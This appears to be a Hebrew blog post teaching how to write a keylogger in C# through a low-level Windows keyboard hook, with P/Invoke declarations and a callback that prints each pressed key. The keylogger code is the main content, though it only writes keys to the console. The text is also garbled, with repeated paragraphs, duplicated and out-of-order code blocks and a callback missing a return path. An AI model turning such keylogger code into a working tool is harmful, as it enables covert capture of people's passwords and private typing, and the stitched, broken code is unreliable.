תחילה נראה שבלתי אפשרי לפתח KeyLogger בעזרת #C כי צריך לרדת ל Driver של ה Keyborad בתוך ה Kernel או לפתח Driver שהיה משורשר עם ה Driver של ה Keyborad מסתבר שניתן לעשות זאת בעזרת Keyborad Hook, בעצם פנייה לפונקציות שבתוך הספריות של מערכת ההפעלה ולשאוב מהם את המידע בנוגע למקלדת.
תחילה יש להבין עם איזה קבצים של מערכת ההפעלה צריך לעבוד על מנת לאפשר האזנה למקלדת:
User32.dll
Kernel32.dll
הצהרה על External Function:
תחילה יש להבין עם איזה קבצים של מערכת ההפעלה צריך לעבוד על מנת לאפשר האזנה למקלדת:
User32.dll
Kernel32.dll
הצהרה על External Function:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
הצהרה על Delegate שיצביע לנו על הלחיצה על המקלדת:
הצהרה על 2 ערכים קבועים:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100; נחבר את ה Delegate שעליו הצהרנו מקודם לפונקציה HookCallback
private static LowLevelKeyboardProc _proc = HookCallback;
הפונקציה שתופסת את הערך שחוזר מה Delegate וממירה את integer ל Char
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
סרטון הדגמה:
ניתן להוריד את הקוד:
אין תגובות:
הוסף רשומת תגובה